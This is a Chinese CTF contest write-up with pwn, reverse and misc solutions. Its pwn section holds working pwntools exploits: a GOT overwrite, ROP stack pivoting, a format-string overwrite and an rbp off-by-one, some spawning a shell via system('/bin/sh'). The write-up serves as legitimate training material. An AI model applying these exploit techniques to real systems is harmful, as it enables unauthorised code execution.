NEUQCSA-2023-11月赛题解

NEUQCSA-2023-11月赛题解

2023-11-26·NEUQCSAPwnReverseMisc

NEUQCSA-2023-11月赛题解

解题情况总览

Misc : [Signin]{.label .primary} [USB]{.label .primary} [Rainbow]{.label .primary} Pwn : [白给のputs]{.label .primary} [白给のfmt]{.label .primary} [白给のheap]{.label .primary} [王神のstack_overflow]{.label .primary} Reverse : [白给のpyc]{.label .primary}

a0 a1 a2 a3 a4 a5

Pwn

白给のputs

纯白给 不会做的建议紫菜(bushi) 出题人:Jmp.Cliff 难度:简单 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤, 做这直接打got表的题都还用了16min,狠狠地拷打。 人家出题人都好心让你输入buf地址了你还赖着不输入puts的got表地址干啥,还迟疑个der. 直接<(D_D)つ(>_<)手动拷打


#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './PUTS'
p=remote('82.157.250.243',7001)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./PUTS')
# gdb.attach(p)
elf=ELF(pwn)
#libc=ELF('./libc.so.6')

payload1=p64(elf.got['puts'])
payload2=p64(0x4010c0)
p.send(payload1)
pause()
p.send(payload2)
p.interactive()

王神のstack_overflow

王神の栈是全栈 出题人:brain_z 难度:简单 +++primary Unlock-Hint-for-0-points csu开read 栈迁移泄露libc 再开read打orw +++ 好好好,hint直接帮我说完思路了,直接放exp。csu真是让人又爱又恨啊。

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './stkoverflow'
p=remote('8.130.110.158',2101)
# p=process(['./ld-2.31.so', './stkoverflow'], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./stkoverflow')
# gdb.attach(p)
elf=ELF(pwn)
libc=ELF('./libc-2.31.so')
pop_rdi=0x401363
pop_rsi2=0x401361
vuln=0x401279
csu=0x40135a
csu1=0x401340
buf=0x404088
flag=buf
leaveret=0x4012d7
# payload=b'a'*0x10+p64(pop_rdi)+p64(1)+p64(pop_rsi2)+p64(elf.got['read'])+p64(0)+p64(elf.plt['write'])+p64(vuln)
payload=b'a'*0x10+p64(csu)+p64(0)+p64(1)+p64(1)+p64(elf.got['read'])+p64(0x200)+p64(elf.got['write'])+p64(csu1)+p64(buf)*7+p64(pop_rdi)+p64(0)+p64(pop_rsi2)+p64(0x404088)+p64(0)+p64(elf.plt['read'])+p64(leaveret)
p.sendline(payload)
p.recvuntil('way\x0a')
p.recv()
# p.recvuntil('way\x0a')
# pause()
addr=u64(p.recv(6).ljust(8,b'\x00'))
base=addr-libc.sym['read']
open_fun=base+libc.sym['open64']

pop_rdx=base+0x142c92
pop_rsi=0x2601f+base

print(hex(addr))

payload2=b'flag\x00\x00\x00\x00'+p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_fun)
payload2+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag-0x10)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['read'])
payload2+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag-0x10)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['write'])+p64(vuln)
# p.sendline('flag\x00')
p.sendline(payload2)
p.interactive()

# 0x0000000000142c92 : pop rdx ; ret

# 0x000000000040135c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040135e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401360 : pop r14 ; pop r15 ; ret
# 0x0000000000401362 : pop r15 ; ret
# 0x000000000040135b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040135f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004011bd : pop rbp ; ret
# 0x0000000000401363 : pop rdi ; ret
# 0x0000000000401361 : pop rsi ; pop r15 ; ret
# 0x000000000040135d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
# 0x00000000004012d1 : ret 0
# 0x000000000040121a : ret 0xfffe

白给のfmt

一道平平无奇的格式化字符串题目 什么?你说格式控制字符被过滤了? 我不管,反正printf(buf)这个大洞已经给你了,至于怎么用,那是你的问题。 出题人:Jmp.Cliff 难度:中等(准确地说,已经有点偏困难了,把前两题搞定之后再来看吧。)

好好好,难度确实是中等,但是麻烦的要死啊啊啊啊啊啊啊啊啊啊啊 要做两件事 [1.泄露libc基址]{.label .primary} [2.替换printf的got表内容为system地址]{.label .primary} 但是仅仅两次的格式化字符串漏洞虽然足够我们做完这两步,但是没法调用system(printf)了。于是我们还要做一件事: [EX.把ret地址改为vuln地址]{.label .primary} 就干这些事,顺序就是 [1.泄露libc基址]{.label .primary} [EX.把ret地址改为vuln地址]{.label .primary} [2.替换printf的got表内容为system地址]{.label .primary} EXP: (看这注释量,你知道我经历了什么吗!!!!!!!!!!!!!!)

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './fmt'
# p=remote('82.157.250.243',7002)
p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# # p=process('./fmt')
# gdb.attach(p)
elf=ELF(pwn)
libc=ELF('./libc-2.31.so')
offset=8
vuln=0x40129c
# payload=b'a%155c'+fmtstr_payload(8,{elf.got['__stack_chk_fail']:vuln})[5:0x27]
# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(0x404020)+p64(0x404021)+p64(0x404022)
# payload=b'a'+fmtstr_payload(8,{elf.got['exit']:0x40129c})
# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(0x404048)+p64(0x404049)+p64(0x40404a)
# p.send(payload)
# pause()
# p.send(b'a')

payload=b'a%26$p%29$p'.ljust(0x70,b'\x00')+b';/bin/sh'
p.send(payload)
pause()
p.send('a')
p.recvuntil('0x')
addr0=int(p.recv(12),16)
addr0-=8
p.recvuntil('0x')
addr=int(p.recv(12),16)
addr-=243
base=addr-libc.sym['__libc_start_main']
sys_addr=base+libc.sym['system']
payload=fmtstr_payload(8,{addr:0x4012a4})
# payload=b'a%18c%14$lln%46c%15$hhn%92c%13$hhnaaaaaa'+p64(addr)+p64(addr+1)+p64(addr+2)
# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(addr0)+p64(addr0+1)+p64(addr0+2)
payload=b'a%163c%13$lln%110c%14$hhn%46c%15$hhnaaaa'+p64(addr0)+p64(addr0+1)+p64(addr0+2)
p.sendline(payload)
pause()
p.send('a')

# pause()
# payload=b'a%29$p'.ljust(0x70,b'\x00')+b';/bin/sh'
# p.send(payload)
# pause()
# p.send('a')

print("Next ROUND!!!!!!!!!!!!!!!!")

# payload=b'a%143c%17$lln%36c%18$hhn%46c%19$hhn%25c%20$hhn%1c%21$hhn%130c%22$hhnaaaa'+p64(0x404030)+p64(0x404031)+p64(0x404032)+p64(0x404033)+p64(0x404034)+p64(0x404035)
# payload=b'aaaa%x,%x'
# # p.send('')'
# # p.send('')
# pause()
# p.send(payload)
# pause()
# p.send('a')

# pause()
# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(addr0)+p64(addr0+1)+p64(addr0+2)
# p.sendline(payload)
# pause()
# p.send('a')
# sys_addr-=1
payload=b'a%143c'+fmtstr_payload(8,{elf.got['printf']:sys_addr})[5:-49]+fmtstr_payload(8,{elf.got['printf']:sys_addr})[-48:]
print(hex(sys_addr-1))
# payload=b'a%143c%17$lln%36c%18$hhn%46c%19$hhn%25c%20$hhn%1c%21$hhn%130c%22$hhnaaaa'+p64(0x404030)+p64(0x404031)+p64(0x404032)+p64(0x404033)+p64(0x404034)+p64(0x404035)
# p.send('')
# payload=b'a%143c%17$lln%23c%18$hhn%46c%19$hhn%93c%20$hhn%77c%21$hhn%13c%22$hhnaaaa'+p64(0x404030)+p64(0x404031)+p64(0x404032)+p64(0x404033)+p64(0x404034)+p64(0x404035)
pause()
p.send(payload)
pause()
p.send('a')

# p.sendline(b'a')
p.interactive()

白给のheap

?不是说好的寒假前的月赛不会出堆题吗? 出题人:Jmp.Cliff 难度:困难 +++primary Unlock-Hint-for-0-points 但凡学过堆的都知道堆题要从2.23学起。这个阶段出个2.23的fastbin attack都已经够丧心病狂了,Jmp.Cliff怎么可能给你们上2.31的堆呢? 这题的防护开启情况相当于告诉你这题还是个栈题,虽然漏洞点很隐蔽。建议你好好关注一下edit功能。 不同choice对应的switch分支的功能名称写在附件里面的一个txt里,当时出题的时候太匆忙,忘了写菜单了。 +++ +++primary Unlock-Hint-for-0-points %256s在读取时真的没有溢出吗??? +++ +++primary Unlock-Hint-for-0-points 如果因为你使用了爆破的方式,导致你的返回地址落在你布置的rop链子的一个随机的位置,你可以尝试让这个rop链的前面一小部分全部由ret组成,这样能增大你的命中率,方便你调试——当然,前提是你rop链的空间够用。 +++ 先说一下我刚开始的思路。 首先是肯定要泄露libc基址的,我们可以直接用show进行输出got表地址。但是我们需要指向got表中某个调用过的函数的地址。这时候就要向动态链接的方向考虑。 我们回到程序头,发现Elf64_Rela段里面保存着函数的got表地址。(附近还有Elf64_Sym,以及ELF的各个段的信息,但是这里我们是用不到的) 可以看到edit函数里面有着strncpy(buf,chunk_addr_list[index],chunk_size_list[index])这一句,我就想着在某个地方输入ROP然后直接copy到buf进行栈溢出。 但是仔细想想我们能够控制的只有buf和bss里面的两个数组,而且bss里面的chunk_addr_list没有可以控制的,chunk_size_list里面是int,而且只能写一字节。根本没有能够利用的空间。 期间尝试利用其他的内容让strncpy之后,把chunk_addr_list元素copy到buf函数的rbp那里从而实现chunk随便写的效果,但是尝试无果。(是尝试让index等于负数或者大些的整数实现任意地址读取) 之后又想到把栈上buf内容copy到ret后面,这样如果buf里面是rop,那么就可以执行ROP了。 但是!但是!你想的挺好,但是这里的前提就是你strncpy是没有\x00截断的!但是很不幸,这里有截断!之前80%的工作前功尽弃! 之后就新上了两个hint,根据[%256s在读取时真的没有溢出吗???]{.label .primary},我们可以猜到,这里%256s是要输入100个a的(少了就没有溢出,多了之后就没法输入choice了,因为这里顶多溢出一个字节\x00,所以肯定是要到其他地方调用ROP的。(我竟然刚开始没看见溢出了\x00… … …很无语O.o)) 这里我就不说当时是怎样误打误撞做出来的。直接讨论这里(edit函数)有没有继续利用的余地。 我们仅仅使用了一次读取,但是这里可以读取很多次,由于我们把rbp最低一位覆盖为\x00,所以这时候rbp有(256/8-1)/(256/8)的概率是降低的,由于buf是用rbp+offset进行定位的,这里我们降低了rbp,所以buf跟着降低了,但是这里ret跟着降低了,edit函数就等于没用了。(除非你获得了栈地址,然后正好把rbp再改高。但是我没有想到办法获得栈地址。) 我们退出edit函数,经过leave;ret之后rbp就是我们之前覆盖低位的地址,此时进入bye选项,这里没有调用函数,所以我们还可以接着利用这个rbp。 我们由于改变了rbp,所以在vuln这个栈里面,我们的rbp还是相当于被降低的。这时调用read,read会保存vuln函数执行的下一条指令地址,这时由于我们降低了rbp,所以read进我们的ROP之后,即使仅仅只有0x100字节,但是可以把read保存的vuln的地址给覆盖为ROP,之后read函数返回的时候就会返回到“保存”的地址,也就是我们覆盖为ROP中间的某一地方,这里ROP可以采用p64(ret)*0x10+ROP实现,这样打通的几率更大。

注意buf和rsp

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './heap'
# p=remote('82.157.250.243',7003)
p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./heap')
gdb.attach(p,'b*0x401712')
#elf=ELF(pwn)
libc=ELF('./libc-2.31.so')

read_got_ptr=0x400710

p.sendline("3")
p.sendline("-1863")
p.recvuntil('index:\n')
addr=u64(p.recv(6).ljust(8,b'\x00'))  # read
print(hex(addr))
base=addr-libc.sym['puts']
system_addr=base+libc.symbols['system']
execve_addr=base+libc.symbols['execve']
sh=base+next(libc.search(b'/bin/sh'))
pop_rdi=0x4017d3

# make
p.sendline("1")
p.sendline("1")
p.sendline("26")
# change rbp
p.sendline("4")
p.sendline("1")
p.sendline("a"*0x100)
p.sendline("1")
# exploit
p.sendline("5")
ret=0x40101a
pl=p64(pop_rdi)+p64(sh)+p64(system_addr)
p.sendline(p64(ret)*29+pl)
p.sendline("cat flag")

p.interactive()

Reverse

白给のpyc

你知道 python 字节码是什么东西吗? 之前招新赛RSA那题有明显的符号提示,可以投机取巧。 但是这题你就只能嗯啃 python 机器码了(doge) PS.看不懂的 python 虚拟机指令可以上网搜,基本都能搜到(划重点,基本) 出题人:Jmp.Cliff 难度:中等 +++primary Unlock-Hint-for-0-points 一篇不错的参考文章 +++ +++primary Unlock-Hint-for-0-points python -m dis xxx.py可以得到你写的脚本的 python 字节码。 看不懂的话就自己写一下编译出来看看 python 指令都是什么样子的,对照着学更加容易。 +++ python 逆向,相当于读汇编,但是这里变量的原则是程序中的变量都是以栈的形式存储的,进行运算都是栈顶两个元素进行运算。 之后可以写出来这里的近似 python 源代码。

首先把程序中的list元素提取出来

#include<iostream>
#include<bits/stdc++.h>

using namespace std;
int main(){
    string a;
    freopen("scr.txt","r",stdin);
    while(cin>>a){
        if(a=="LOAD_CONST"){
            cin>>a;
            cin>>a;
            for(int i=1;i<a.length()-1;i++)cout<<a[i];
            cout<<",";
        }
    }
    return 0;
}

下面就是手搓的反编译的py代码了 [注意这里算是里面的运算优先级,多加几个括号没有坏处。因为我就在这里被坑了]{.label .primary}

def listcomp(input_str):
    return [ord(c) for c in input_str]

a=[179,186,176,177,204,132,145,146,126,149,150,140,140,109,156,155,160,111,140,163,113,83,177,180,153,12,39,67,105,17,154,144,6,84,42,220,24,77,72,147,169,245]

def fun1():
    print('plz input the b:\n')
    b=input()
    c=len(b)
    if c != 42 :
        print('length error!')
        exit(0)
    else:# jmp 128
        d=listcomp(b)
        for i in range(0,21):
            d[i]=(d[i]^i+77)&255 # d[i]-77-i
        for i in range(21,42):
            d[i]=((d[i]<<((8-i%6)-1))&255 + (d[i]>>(i%6+1))&255)
        # for i in range(42):
        #     if()        
fun1()

前一半flag还很好计算,但是后边一半应该是没有办法直接还原的。 所以我们直接爆破,爆破的为时间复杂度 [O(len * charnum)]{.label .primary},完全可以接受。(到了大学还分析时间复杂度感觉有点别扭)

#include<bits/stdc++.h>

using namespace std;

int a[]={179,186,176,177,204,132,145,146,126,149,150,140,140,109,156,155,160,111,140,163,113,83,177,180,153,12,39,67,105,17,154,144,6,84,42,220,24,77,72,147,169,245};
int main(){
    string flag;
    for(int i=0;i<21;i++){
        int ccc=a[i]-77;
        if(ccc<0){
            ccc*=(-1);
        }
        ccc^=i;
        flag+=char(ccc);
    }
    cout<<flag<<endl;
    for(int i=21;i<=42;i++){
        for(int j=33;j<=126;j++){
            if(a[i]==((j>>(i%6+1))&255) + ((j<<((8-i%6)-1))&255 )){
                flag+=char(j);
                cout<<j<<" ";
            }
        }
    }
    for(int i=0;i<42;i++)cout<<flag[i];
    cout<<"\nlen:"<<flag.length();
    return 0;
}

最后输出了length用来检查一下看看有没有少输出。 Over༼ つ ◕_◕ ༽つ

misc

Signin

flag{have_4_fun} 真好,直接送我1分的flag༼ つ ◕_◕ ༽つ

USB

你也喜欢画画吗? 出题人:鞠佳凝 +++primary Unlock-Hint-for-0-points 数位板流量 +++ 数位板流量,用命令提取

tshark -r USB.pcapng -T fields -e usbhid.data | sed '/^\s*$/d' > usbdata1.txt

看了流量感觉前两个字节没有啥实际意义(一个data有12字节),最后四个字节应该没啥用,剩下六个字节就是行坐标,列坐标,压感。 然后从网上抄代码:

import os
import matplotlib.pyplot as plt
# os.system("tshark -r 1.pcapng -T fields -e usb.capdata| sed '/^\s*$/d' > 1.txt")
data=[]
with open('usbdata1.txt',"r") as f:
    for line in f.readlines():
        if line[12:16] !="0000":
            data.append(line)
            # print(line)
X = []
Y = []
# j=0
for i in data:
        # j+=1
        # print(j)
        # print(line)
        # if len(line)<10:
            #  continue
        x0=int(i[4:6],16)
        # x=0
        # for j in range(9):
        #         x=x*256+int(i[19-2*j:21-2*j],16)
        x1=int(i[6:8],16)
        x=x0+x1*256
        y0=int(i[8:10],16)
        y1=int(i[10:12],16)
        y=y0+y1*256
        X.append(x)
        Y.append(-y)
fig = plt.figure()
ax1 = fig.add_subplot(111)
ax1.set_title("result")
ax1.scatter(X, Y, c='b', marker='o')
plt.show()

rainbow

碰上彩虹,____ 出题人:鞠佳凝 打开zip是两张图片。ribbon有16个色块,可以想到是hex,通过flag.png验证开头是50 4B,于是就可以知道是个压缩包 请人工智能写代码(真是的,这点代码都写不对,还要我修改一堆),自己再修改一下输出格式就可以提取出色块了:

import numpy as np
from PIL import Image

# 读取图片
image = Image.open("ribbon.png")

# 将图片转换为RGBA格式的numpy数组
rgba_array = np.array(image)

# 获取色块的颜色信息
colors = rgba_array[:, :, 3]
red_channel = rgba_array[:, :, 0]
green_channel = rgba_array[:, :, 1]
blue_channel = rgba_array[:, :, 2]

# 按照从左到右,从上到下的顺序输出颜色信息
# for x in range(25,rgba_array.shape[0],50):
x=25
for y in range(25,rgba_array.shape[1],50):
    # color = colors[y, x]
    red=red_channel[x,y]
    green=green_channel[x,y]
    blue=blue_channel[x,y]
    # print(f"({red},{green},{blue})") # 读取flag.png的输出格式,方便C++读取字符串
    print(f"\"({red},{green},{blue})\",")  # 输出ribbon.png色块,加上双引号和逗号方便写C++字符串数组

所有输出的flag的色块为:

(255,0,255)
(0,0,0)
(255,0,0)
(128,255,255)
(0,0,0)
(128,255,128)
(0,0,0)
(255,0,0)
(0,0,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,128)
(255,255,128)
(0,128,255)
(255,0,255)
(255,255,255)
(255,0,255)
(255,0,255)
(255,255,255)
(0,255,128)
(255,128,255)
(255,128,255)
(0,255,0)
(255,128,255)
(255,255,255)
(128,128,128)
(0,0,0)
(0,255,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(128,128,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(255,255,0)
(255,255,0)
(255,255,0)
(255,128,128)
(255,255,0)
(0,0,255)
(255,255,0)
(255,255,255)
(0,255,0)
(255,255,128)
(255,255,255)
(255,0,0)
(255,255,255)
(128,128,128)
(255,255,255)
(255,0,0)
(255,255,0)
(255,255,0)
(255,255,0)
(255,128,128)
(255,255,0)
(0,0,255)
(255,255,0)
(255,255,255)
(255,255,255)
(128,255,255)
(255,255,0)
(0,0,255)
(255,255,0)
(0,0,255)
(255,255,0)
(255,0,255)
(128,255,128)
(0,0,255)
(128,255,128)
(255,0,255)
(255,255,0)
(255,255,0)
(255,255,0)
(255,0,255)
(255,255,0)
(255,0,255)
(0,255,0)
(255,128,255)
(128,255,128)
(0,0,0)
(128,255,128)
(0,0,255)
(128,255,128)
(255,255,255)
(255,255,0)
(255,0,255)
(0,255,0)
(255,128,255)
(128,255,128)
(255,0,0)
(128,255,128)
(255,255,0)
(128,255,128)
(0,255,0)
(128,255,128)
(255,255,255)
(0,255,0)
(255,128,255)
(128,255,128)
(0,128,255)
(128,255,128)
(128,128,128)
(128,255,128)
(255,255,255)
(128,255,128)
(0,255,0)
(0,255,0)
(255,128,255)
(255,255,0)
(255,0,255)
(128,255,128)
(0,0,0)
(128,255,128)
(0,0,255)
(128,255,128)
(255,0,0)
(255,255,0)
(255,255,0)
(128,255,128)
(255,0,0)
(255,255,0)
(255,255,0)
(255,255,0)
(255,0,0)
(128,255,128)
(255,0,0)
(255,255,0)
(128,255,128)
(128,255,128)
(0,128,255)
(128,255,128)
(0,255,0)
(255,255,255)
(255,128,255)
(255,0,255)
(0,0,0)
(255,0,0)
(128,255,255)
(0,0,0)
(0,0,255)
(0,0,0)
(0,255,0)
(128,255,128)
(255,255,200)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,128)
(255,255,128)
(0,128,255)
(255,0,255)
(255,255,255)
(255,0,255)
(255,0,255)
(255,255,255)
(0,255,128)
(255,128,255)
(255,128,255)
(0,255,0)
(255,128,255)
(255,255,255)
(128,128,128)
(0,0,0)
(0,255,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(128,128,128)
(0,0,0)
(0,0,0)
(0,255,0)
(255,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(255,255,0)
(255,255,0)
(255,255,0)
(255,128,128)
(255,255,0)
(0,0,255)
(255,255,0)
(255,255,255)
(0,255,0)
(255,255,128)
(255,255,255)
(255,0,0)
(255,255,255)
(128,128,128)
(255,255,255)
(255,0,0)
(0,0,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,255,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,255)
(0,0,0)
(0,0,0)
(0,0,255)
(128,128,128)
(0,0,0)
(0,0,0)
(255,0,255)
(0,0,255)
(255,128,128)
(0,0,0)
(255,255,0)
(0,0,255)
(255,128,255)
(255,255,0)
(255,255,0)
(255,255,255)
(0,0,255)
(255,128,128)
(255,128,255)
(0,255,128)
(0,0,0)
(0,0,255)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(255,0,255)
(0,0,0)
(255,0,0)
(128,255,255)
(0,0,0)
(255,0,255)
(0,0,0)
(255,255,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,255)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,255)
(0,0,0)
(0,0,0)
(255,0,255)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(255,0,255)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0) 

我们要匹配的色块按照下标排序为:

"(0,0,0)",
"(0,0,255)",
"(0,255,0)",
"(128,255,128)",
"(255,0,0)",
"(255,0,255)",
"(255,255,0)",
"(255,255,255)",
"(128,128,128)",
"(0,128,255)",
"(0,255,128)",
"(128,255,255)",
"(255,128,128)",
"(255,128,255)",
"(255,255,128)",
"(255,255,200)",

回到老本行C++:

#include<bits/stdc++.h>

using namespace std;

int main(){
    string s;
    string fm[16]={"(0,0,0)",
"(0,0,255)",
"(0,255,0)",
"(128,255,128)",
"(255,0,0)",
"(255,0,255)",
"(255,255,0)",
"(255,255,255)",
"(128,128,128)",
"(0,128,255)",
"(0,255,128)",
"(128,255,255)",
"(255,128,128)",
"(255,128,255)",
"(255,255,128)",
"(255,255,200)",
};  
    freopen("op.txt","r",stdin);
    while(cin>>s){
        for(int i=0;i<16;i++){
            if(s==fm[i]){
                cout<< std::noshowbase << std::nouppercase << std::hex <<i<<"";
            }
        }
    }
    return 0;
}

于是得到hex

504b03040a0000000000ae957557add2d7802a0000002a00000008000000666c61672e747874666c61677b61616531356665652d303137652d343632372d393837322d6530313466346664346339327d504b01023f000a0000000000ae957557add2d7802a0000002a000000080024000000000000002000000000000000666c61672e7478740a002000000000000100180051c061d6671cda0100000000000000000000000000000000504b050600000000010001005a0000005000000000000000000000000000

Winhex直接保存为.zip打开就是flag